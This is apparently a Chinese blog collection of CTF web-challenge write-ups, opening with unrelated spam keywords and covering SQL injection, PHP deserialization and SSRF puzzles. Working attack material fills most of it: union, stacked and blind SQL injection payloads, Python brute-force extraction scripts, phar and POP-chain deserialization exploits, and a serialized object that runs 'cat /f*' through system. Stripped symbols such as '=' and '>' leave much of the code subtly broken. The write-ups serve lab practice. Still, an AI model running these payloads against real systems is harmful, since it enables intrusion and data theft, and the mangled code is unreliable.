长沙营销网站建设公司,网站编程用什么语言好,工商企业查询,网址导航网站简单制作其实
web
[SWPUCTF 2021 新生赛]easy_sql
开启环境后看到一个提示“球球你输入点东西吧#xff01;”没有其他信息#xff0c;就看看源码 直接试试get传参
有所显示
看看是字符型还是数字型
可以判定是字符型
接下来判断闭合类型
根据显示#xff0c;可以得知是单引…其实
web
[SWPUCTF 2021 新生赛]easy_sql
开启环境后看到一个提示“球球你输入点东西吧”没有其他信息就看看源码 直接试试get传参
有所显示
看看是字符型还是数字型
可以判定是字符型
接下来判断闭合类型
根据显示可以得知是单引号闭合类型
然后查字段
4显示不在那就往下减
说明字段数是2
查看回显位 查库名 查表名
?wllm-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schematest_db -- 查列名
?wllm-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schematest_db and table_nametest_tb --
这里看到了flag
查看内容
[suctf 2019]EasySQL 堆叠注入
先来进行简单的尝试
输入1输入1\就是空白
再试试引号单引号空白双引号
这里就能推测是有黑名单之类的东西
而且输入1\没有回复说明没有报错提醒就没办法利用报错信息报错注入就不可以用了
最后使用堆叠注入
列出服务器上的所有数据库
1;show databases;# 接下来我们只能碰运气的走下去
首先就试试ctf吧
查ctf数据库下的表名
1;use ctf;show tables;#
居然有flag
但是当我们继续下一步
这里我依次尝试了下面的语句
1;use ctf;describe Flag;#
1;use ctf;show columns from Flag;#
1;use ctf;select flag from Flag;#
1 union select 1,flag from ctf.Flag#
都显示NOnono
这里想着去看一下源码吧结果貌似也没有很有用
看看别人的呢 这道题目需要我们去对后端语句进行猜解 1、输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有|| 2、也就是select 输入的数据||内置的一个列名 from 表名即为 后台语句为select $post[query]||flag from Flag 所以我们要解决的问题是 || 或这个问题
测试语句1;set sql_modePIPES_AS_CONCAT;select 1
拼接效果为select 1;set sql_modePIPES_AS_CONCAT;select 1||flag from Flag 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法以及应该在数据上执行何种确认检查其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式pipes_as_concat 来实现oracle 的一些功能 这个就可以解决||带来的问题了
select 1||flag from Flag呢看起来没有遇见过但是就是相当于在表后面加一列 1
还有一个非预期解 *,1 好像是因为没有过滤*而造成的拼接后不难理解
[SWPU 2018]SimplePHP
开启环境好干净的页面上传文件界面 查看文件界面看地址栏是可以查看文件的
我们就在这里来查看一下文件
先看看index.phpfile.phpupload_file.php这三个已知文件吧
有一个base.php文件看到flag想直接去看但是接下来看看file.php
file.php下面有两个文件function.php和class.php 这里先来分析一下这个代码 这是一个关于上传文件的代码 当我们上传文件时文件后缀有所限制gif,jpeg,jpg,png 上传成功文件名被修改原始文件名进行md5加密【md5(原文件名 用户IP)】 然后后缀为.jpg再将文件移动到/upload文件夹下 再看看class.php ?php
class C1e4r
{public $test;public $str;public function __construct($name){$this-str $name;}public function __destruct(){$this-test $this-str;echo $this-test;}
}class Show
{public $source;public $str;public function __construct($file){$this-source $file; //$this-source phar://phar.jpgecho $this-source;}public function __toString(){$content $this-str[str]-source;return $content;}public function __set($key,$value){$this-$key $value;}public function _show(){if(preg_match(/http|https|file:|gopher|dict|\.\.|f1ag/i,$this-source)) {die(hacker!);} else {highlight_file($this-source);}}public function __wakeup(){if(preg_match(/http|https|file:|gopher|dict|\.\./i, $this-source)) {echo hacker~;$this-source index.php;}}
}
class Test
{public $file;public $params;public function __construct(){$this-params array();}public function __get($key){return $this-get($key);}public function get($key){if(isset($this-params[$key])) {$value $this-params[$key];} else {$value index.php;}return $this-file_get($value);}public function file_get($value){$text base64_encode(file_get_contents($value));return $text;}
}
? 代码结构分析 C1e4r类 __destruct()方法会将$str赋值给$test并输出可能触发其他魔术方法。 Show类 __toString()方法会在对象被当作字符串使用时触发_show()方法存在文件读取功能但有危险协议过滤__wakeup()方法会在反序列化时触发也有危险协议过滤 Test类 file_get()方法可以读取任意文件内容关键漏洞点通过__get()魔术方法实现链式调用 本题中file.php使用了file_exists()函数触发phar反序列化 构造pop链
C1e4r类的__destruct()中有echo $this-test;触发Show类的__toString()而该函数中的$content $this-str[str]-source;又可以继续触发Test类中的__get()因为Test类中没有source属性
?php
class C1e4r
{public $test;public $str;public function __construct(){$this-str new Show();}}
class Show
{public $source;public $str;public function __construct(){$this-strarray(strnew Test());}}class Test
{public $file;public $params;public function __construct(){$this-params array(source/var/www/html/f1ag.php);}
}$anew C1e4r();
unlink(phar.phar);
$pharnew Phar(phar.phar);
$phar-startBuffering();
$phar-setStub(?php __HALT_COMPILER();?);//设置sutb
$phar-setMetadata($a);//将自定义的meta-data存入manifest
$phar-addFromString(1.txt,123123);//添加要压缩的文件
//签名自动计算
$phar-stopBuffering();
unlink(./phar.jpg);
rename(./phar.phar,./phar.jpg);将代码写入phar.jpg
然后上传文件
再用phar协议去访问该文件得到base64编码的flag
[极客大挑战 2020]greatphp 这段代码的主要逻辑 **SYCLOVER 类** 包含两个属性 $syc 和 $lover。__wakeup() 魔术方法在反序列化时触发检查以下条件 $this-syc ! $this-lover值不同md5($this-syc) md5($this-lover)MD5 哈希相同sha1($this-syc) sha1($this-lover)SHA1 哈希相同$this-syc 不包含 ?php、(、)、、 等字符 如果条件满足执行 eval($this-syc)任意代码执行。 反序列化入口 通过 $_GET[great] 接收用户输入并调用 unserialize()。
在类里无法用数组进行md5绕过所以用Error类绕过md5和sha1检测
先来测试一下ab的值
?php
$a new Error(payload, 1);$b new Error(payload, 2);//注意这里需要写在一行上
echo $a;
echo br;
echo $b;
echo br;
if ($a ! $b) {echo a!b;
}
echo br;
if (md5($a) md5($b)) {echo md5相等 . br;
}
if (sha1($a) sha1($b)) {echo sha1相等;
} ok可以
那么就写payload
由于题目用preg_match过滤了小括号无法调用函数所以我们尝试直接include /flag将flag包含进来即可由于过滤了引号于是在这里进行取反这样解码后就自动是字符串无需再加双引号或单引号。
而且eval执行带有完整标签的语句需要先闭合就类似于将字符串当成代码写入到源码中。
所以最后的payload
?phpclass SYCLOVER
{public $syc;public $lover;public function __wakeup(){if (($this-syc ! $this-lover) (md5($this-syc) md5($this-lover)) (sha1($this-syc) sha1($this-lover))) {if (!preg_match(/\\?php|\(|\)|\|\/, $this-syc, $match)) {eval($this-syc);} else {die(Try Hard !!);}}}
}$cmd /flag;
$s urlencode(~$cmd);
$str ??include~ . urldecode($s) . ?;
$a new Error($str, 1);$b new Error($str, 2);
$c new SYCLOVER();
$c-syc $a;
$c-lover $b;
echo(urlencode(serialize($c)));?
将运行结果get传参给great [安洵杯 2019]easy_serialize_php
开启环境点开看看
源码并且地址栏可以看到可以进行get传参 核心逻辑如下 **filter() 函数** 过滤 php、flag、php5、php4、fl1g 等关键词替换为空。例如filter(flag.php) → .php。 **$_SESSION 处理** 默认设置 $_SESSION[user] guest。$_SESSION[function] $function来自 $_GET[f]。$_SESSION[img] 由 $_GET[img_path] 决定 如果 img_path 未提供默认 base64_encode(guest_img.png)。否则计算 sha1(base64_encode($_GET[img_path]))。 **extract($_POST)** 将 $_POST 数据直接提取为变量导致变量覆盖。 功能分支 highlight_file显示当前文件源码。phpinfo执行 phpinfo()可能泄露敏感信息。show_image反序列化 $serialize_info 并读取文件内容。 变量覆盖
extract($_POST);
使用这个我们可以任意post东西上去覆写任意变量。 比如我们post一个SESSION[haha] 1, 这个时候原来SESSION的userfunction和img项全部会消失SESSION会只剩一个haha项值为1 当然如果我们post三个值userfunction和img项上去就可以替换原来的值。 这里倒没有那么方便因为img的处理是在post之后进行的。 这里找到了提示
if($function highlight_file){highlight_file(index.php);
}else if($function phpinfo){eval(phpinfo();); //maybe you can find something in here!
}else if($function show_image){$userinfo unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[img]));
}
这里用到的知识点是php反序列化逃逸
上面提示如果传入phpinfo的话就会eval执行phpinfo
payload
index.php?fphpinfo这样就会触发phpinfo界面先进去看看会不会有有用信息
直接搜flag或者fl没有办法找到也就是说没有flag
然后换了一个想法搜f1
再来触发一下show_image $userinfo[img]只进行了base64解码结合前面我们需要让guset_img.png逃逸
继续跟进$userinfo[img]的入口$userinfo unserialize($serialize_info); $serialize_info filter(serialize($_SESSION));
所以是$_SESSION序列化后被filter函数处理再反序列化赋给userinfo最后取出img这个键对应的值
反序列化
?php
$_SESSION[user] *;
$_SESSION[function] **;
$_SESSION[img] base64_encode(guest_img.png);
echo serialize($_SESSION);
?
因为我们要让guest_img.png逃逸换成那我们function就应该为;s:3:img;s:20:ZDBnM19mMWFnLnBocA;}让前面user的值被filter()函数替换掉让;s:8:function;s:40:这22个字符成为user的值img成为一个键但是本来是有三个键因此我们这里还需要自己写一个键最终结果为
?php
$_SESSION[user] phpphpphpflagphpphpphp;
$_SESSION[function] ;s:3:img;s:20:ZDBnM19mMWFnLnBocA;s:1:a;s:1:a;};
$_SESSION[img] base64_encode(guest_img.png);
echo serialize($_SESSION);
? a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw“;} 经过filter函数处理后 a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw“;} 那么POST传入参数
_SESSION[user]phpphpphpflagphpphpphp_SESSION[function] ;s:3:img;s:20:ZDBnM19mMWFnLnBocA;s:1:a;s:1:a;}
查看源码发现flag在/d0g3_fllllllag中base64编码后再次传参读取即可
_SESSION[user]phpphpphpflagphpphpphp_SESSION[function] ;s:3:img;s:20:L2QwZzNfZmxsbGxsbGFn;s:1:a;s:1:a;}
[LitCTF 2023]这是什么SQL 注一下
先直接输入1其实在左下角有关键提示 这就直接告诉我们sql语句
给出的sql语句可以看出闭合方式是(((((())))))
然后id1时usernametanjipasswordOHHHHHH
试试别的id
id2 利用已知的闭合方式来进行尝试 成功
字段数就不用再查了前面的就能看出是两个字段
查回显位
查库名看看那个ctf吧
查表名
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()--查列名
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers-- 有三列分别是id,username,password
查询列中的所有内容
-1)))))) union select username,password from users-- 这里一看就没有flag
换个数据库
但是我们需要先找找show查询走不通用select
-1)))))) union select 1,schema_name from information_schema.schemata-- 这里注意到ctftraining
查询 ctftraining 数据库的所有表名、列名
查询 ctftraining 数据库的所有表名
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schemactftraining--看到了flag 查询 flag 表的所有列名
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schemactftraining and table_nameflag--查内容
-1)))))) union select 1,flag from ctftraining.flag-- [FSCTF 2023]ez_php1
第一层数组绕过 第二层
把KEY值序列化就行 第三层
P0int.php,是一个简单的反序列化调用函数的时候读取了flag的base64值并赋值给了a变量但是__destruct函数中输出的确实b的值所以将b绑定为a的地址即可
?php
class Clazz
{public $a;public $b;public function __construct(){$this-b $this-a;}public function __wakeup(){$this-a file_get_contents(php://filter/readconvert.base64-encode/resourceg0t_f1ag.php);}public function __destruct(){echo $this-b;}
}
$c new Clazz();echo serialize($c);
//dataO:5:Clazz:2:{s:1:a;N;s:1:b;R:2;}解个base就可以得到flag
[MoeCTF 2022]ezphp
开启环境 首先对php代码进行审计 $flag’xxxxxxx‘可不是代表flag的值是xxx这段代码是通过第一行的代码highlight_file(source.txt);把source.txt中的内容显示在了界面上真实flag的值隐藏了起来这里专门写出的意义是提醒同学们最后要得到的flag在$flag中。 这一行代码首先使用isset()函数检查$_GET[flag]和$_POST[flag]两个变量是否存在。如果两者都不存在则执行exit($giveme)脚本输出$giveme变量的值并终止执行。
这一行代码检查$_POST[flag]和$_GET[flag]两个变量是否等于字符串flag。如果其中任何一个变量的值为flag则执行exit($getout)脚本输出$getout变量的值并终止执行。值得注意的是这里的判断是。 这部分代码使用foreach分别循环遍历$_POST数组和$_GET数组。对于每个键值对在$_POST数组中将键作为变量名将对应的值作为变量值。在$_GET数组中对于每个键值对将值作为变量名并将对应变量的值赋给当前循环的变量。这里是题的关键所在如何理解这个$$可以参照下例
让我们假设URL为http://example.com?nameJohnage25
在这种情况下$_GET数组如下
$_GET array(name John,age 25
);
现在如果我们使用该foreach循环来遍历$_GET数组
foreach ($_GET as $key $value) {$$key $value;
}
该循环将创建两个变量$name和$age并将它们的值分别设置为’John’和’25’。
因此上述代码等效于以下赋值操作
$name John;
$age 25;
现在我们可以直接使用这些变量$name和$age来访问相应的值
echo $name; // 输出John
echo $age; // 输出25
理解之后在加上之前的判断我们可以得出答案?aflagflaga. 实际的过程是$a $flag随后$flag $a $flag即flag的值没有发生变化且满足上述的需求。
[FSCTF 2023]ez_php2
点开之后是一段php代码 ?php
highlight_file(__file__);
Class Rd{public $ending;public $cl;public $poc;public function __destruct(){echo All matters have concluded;die($this-ending);}public function __call($name, $arg){foreach ($arg as $key $value){if($arg[0][POC]1111){echo 1;$this-cl-var1 system;}}}
}class Poc{public $payload;public $fun;public function __set($name, $value){$this-payload $name;$this-fun $value;}function getflag($paylaod){echo Have you genuinely accomplished what you set out to do?;file_get_contents($paylaod);}
}class Er{public $symbol;public $Flag;public function __construct(){$this-symbol True;}public function __set($name, $value){$value($this-Flag);}}class Ha{public $start;public $start1;public $start2;public function __construct(){echo $this-start1.__construct./br;}public function __destruct(){if($this-start211111) {$this-start1-Love($this-start);echo You are Good!;}}
}if(isset($_GET[Ha_rde_r]))
{unserialize($_GET[Ha_rde_r]);
} else{die(You are Silly goose!);
}
? You are Silly goose!首先我们审计这段代码。
这段代码主要定义了四个类Rd、Poc、Er、Ha并通过检查 $_GET 参数来决定是否进行反序列化操作。如果存在特定的 $_GET 参数则尝试反序列化其值否则输出 “You are Silly goose!”。
以下是对代码的详细解读 ?php
highlight_file(__file__); 这个函数会高亮显示
当前文件的代码内容通常用于调试或展示代码结构但
在生产环境中一般不应该使用因为它可能会暴露敏感信息。
Class Rd{ 定义了一个名为Rd的类。public $ending;public $cl;public $poc;声明了三个公共属性public function __destruct() __destruct()魔术方法当对象被销毁时会触发这个方法。它会输出 “Allmatters have concluded”然后使用die()函数终止程序并输出ending属性的值。{echo All matters have concluded;die($this-ending);}public function __call($name, $arg)__call()魔术方法当调用一个不可访问的方法时会触发这个方法。这里它遍历传入的参数如果参数中的某个元素的键为POC且值为 “1111”则输出 “1”并将cl属性的var1属性设置为 “system”。{foreach ($arg as $key $value){if($arg[0][POC]1111){echo 1;$this-cl-var1 system;}}}
}class Poc{ 定义了一个名为Poc的类。public $payload;public $fun;声明了两个公共属性。public function __set($name, $value) __set()魔术方法当给一个不可访问的属性赋值时会触发这个方法。它将传入的属性名和值分别赋值给payload和fun属性。{$this-payload $name;$this-fun $value;}function getflag($paylaod) getflag()方法输出一段文本然后使用file_get_contents()函数尝试获取传入参数所指定的文件内容。如果传入的参数是恶意的可能会导致安全问题例如读取敏感文件。{echo Have you genuinely accomplished what you set out to do?;file_get_contents($paylaod);}
}class Er{ 定义了一个名为Er的类public $symbol;public $Flag;声明了两个公共属性。public function __construct() __construct()构造方法将symbol属性初始化为True。{$this-symbol True;}public function __set($name, $value)__set()魔术方法当给一个不可访问的属性赋值时会触发这个方法。它会将传入的值作为函数调用并将Flag属性作为参数传入这个函数。如果传入的值是恶意的函数可能会导致安全问题。{$value($this-Flag);}}class Ha{ 定义了一个名为Ha的类。public $start;public $start1;public $start2;声明了三个公共属性。public function __construct() __construct()构造方法输出start1属性的值和 “__construct” 以及一个换行符。{echo $this-start1.__construct./br;}public function __destruct() __destruct()魔术方法当对象被销毁时会触发这个方法。如果start2属性的值为 “11111”则调用start1属性的Love()方法并传入start属性作为参数然后输出 “You are Good!”。{if($this-start211111) {$this-start1-Love($this-start);echo You are Good!;}}
}if(isset($_GET[Ha_rde_r]))
{unserialize($_GET[Ha_rde_r]);
} else{die(You are Silly goose!);
}检查是否存在$_GET[Ha_rde_r]参数。如果存在则对
其进行反序列化操作如果不存在则输出 “You are Sil
ly goose!”。这里的反序列化操作如果传入的参数被恶意构
造可能会导致安全问题例如对象注入攻击。
? You are Silly goose!开始找链子入口在Ha里面。触发__destruct方法后给start2赋值11111然后进入如下语句
$this-start1-Love($this-start);使得其触发__call方法然后给start赋值[‘POC’‘1111’] 进入if语句然后通过其中的var1触发__set方法 然后value就成为了system修改$Flag就可以修改执行的命令了
然后我们构造如下脚本
?php
Class Rd{public $cl;
}
class Er{public $Flagcat /f*;
}
class Ha{public $start;public $start1;public $start211111;
}$anew Ha();
$a-start1new Rd();
$a-start[POC1111];
$a-start1-clnew Er();
echo serialize($a);
?运行之后得到 我们构造payload
?Ha_rde_rO:2:Ha:3:{s:5:start;a:1:{s:3:POC;s:4:1111;}s:6:start1;O:2:Rd:1:{s:2:cl;O:2:Er:1:{s:4:Flag;s:7:cat /f*;}}s:6:start2;s:5:11111;}然后我们打开HackBar 运行之后得到flag
[网鼎杯 2018]Fakebook
进入页面常规审计F12无发现这边先扫一下有无泄露扫目录发现存在robots.txt和flag.php访问后发现源码泄露/user.php.bak
?phpclass UserInfo
{public $name ;public $age 0;public $blog ;public function __construct($name, $age, $blog){$this-name $name;$this-age (int)$age;$this-blog $blog;}function get($url){$ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output curl_exec($ch);$httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this-get($this-blog);}public function isValidBlog (){$blog $this-blog;return preg_match(/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]\.)[a-zA-Z]{2,6}(\:[0-9])?(\/\S*)?$/i, $blog);}}
curl_init(url)函数初始化一个新的会话返回一个cURL句柄供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数CURLOPT_URL 选项将会被设置成这个值。
curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项为 cURL 会话句柄设置选项。参数 ch由 curl_init() 返回的 cURL 句柄。 option需要设置的CURLOPT_XXX选项。CURLOPT_URL需要获取的 URL 地址也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的Raw内容。 value将设置在option选项上的值。
curl_getinfo — 获取一个cURL连接资源句柄的信息获取最后一次传输的相关信息。
经过分析可得 1注册界面输入的blog经过了isValidBlog函数的过滤不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。
2get()函数存在ssrf漏洞。
显然存在ssrf漏洞并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以我们的思路是把flag的路径赋给blog经过一系列操作最后会返回flag.php的内容。
[WEEK2]easy_sql -- 无列名盲注 o看了wp才知道就是union无列名注入 小问题 出来就好嘿嘿 分析
打开题目发现页面的回显只有1的、错误、error 三种 可以考虑盲注了
and ^ # -- 都被过滤
盲注的话考虑与、异或、按位或、按位与没有办法闭合考虑 or ||
sql中字符数字可以和数字进行按位或 构造 1|1|| 正确回显 1|2|| 错误回显
然后进行爆破数据库长度
发现数据库的长度是3 进一步尝试order、information_schema都被过滤 information_schema 被过滤 - 无列名注入 order 被过滤 - group 替换 爆破数据库的列数3列 1group/**/by/**/3, 前面的闭合1前的 后面的是闭合之前有的 加上,分开 因为过滤了# 和 无法注释 而order by group by要在最后 使用,分割 select * from xx where id 1group by 5,2 information_schema.table被过滤 可以使用 mysql.innodb_table_stats
脚本爆破一下表的名字 得出 ccctttfff def get_cloumns(): count 1 flag while True: for i in range(32, 127): data { id: f1|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_namedatabase())),{count},1)){i},1,2)||} resp requests.post(urlurl, datadata) if success in resp.text: flag chr(i) print(flag) count 1 break elif i 126: return False time.sleep(0.05)
下面无列名爆破数据 select 1,2,3 union select * from ccctttfff 这样以来 1 2 3 分别对应一列 二列 三列 的列名
然后 select group_concat(1,-,2,-,3) from (select 1,2,3 union select * from ccctttfff)a select(group_concat(3))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a 这样就可以在没有列名的情况下查询到数据库信息
然后我们开始盲注 1|if(ascii(substr((select(group_concat(3))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))55,1,2)|| 运行了好多遍 遍历出来的三列分别是 # 第一列 1 # 第二列 bob # 第三列 I am so handsome 呜呜呜跑了好多遍终于怀疑出题人是不是没有把flag放到这数据库
重新跑所有的数据库库名 qwq原谅我太菜 跑出来有两个数据库 ctf ccctttfff # 这个脚本的缺点半自动 但是跑出来的表不会重复 需要修改 # limit 0,1 第一个数据库 # limit 1,1 第二个数据库 # ...... def get_all_database(): flag count 1 while True: for i in range(32, 127): data { id: f1|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1)){i},1,2)||} resp requests.post(urlurl, datadata) if success in resp.text: flag chr(i) print(flag) break elif i 126: return False time.sleep(0.1) count 1 # 这个脚本的缺点有多少个表 就会跑多少个数据库 数据库会重复 def get_all_database(): flag count 1 while True: for i in range(32, 127): data { id: f1|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1)){i},1,2)||} resp requests.post(urlurl, datadata) if success in resp.text: flag chr(i) print(flag) break elif i 126: return False time.sleep(0.1) count 1
第一个脚本结果 第二个脚本结果 然后我跑的是所有的表名 因为知道ccctttff属于ctf那么跑出来的其余的都是ctftraining的 # 结果 # ctf:ccctttfff # ctftraining:flag,news,users,gtid_slave_pos def get_tables(): count 1 flag while True: for i in range(32, 127): data { id: f1|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1)){i},1,2)||} resp requests.post(urlurl, datadata) if success in resp.text: flag chr(i) print(flag) count 1 break elif i 126: return False time.sleep(0.05)
我是估计flag就在flag表里面但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列 我查了资料也没找到因为information_schema被过滤有大佬知道可以说下的 然后就是靠懵了 比赛中表的列数一般会小于10 也就 3 4 5左右 我是从1开始试的 1|if(ascii(substr((select(group_concat(1))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1)){i},1,2)||
脚本 def get_values(): count 1 flag while True: for i in range(32, 127): data { id: f1|if(ascii(substr((select(group_concat(1))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1)){i},1,2)||} resp requests.post(urlurl, datadata) print(i) if success in resp.text: flag chr(i) print(flag) count 1 break elif i 126: return False time.sleep(0.05)
最后也是跑出来了 PS这个题挺鸡贼的哈哈哈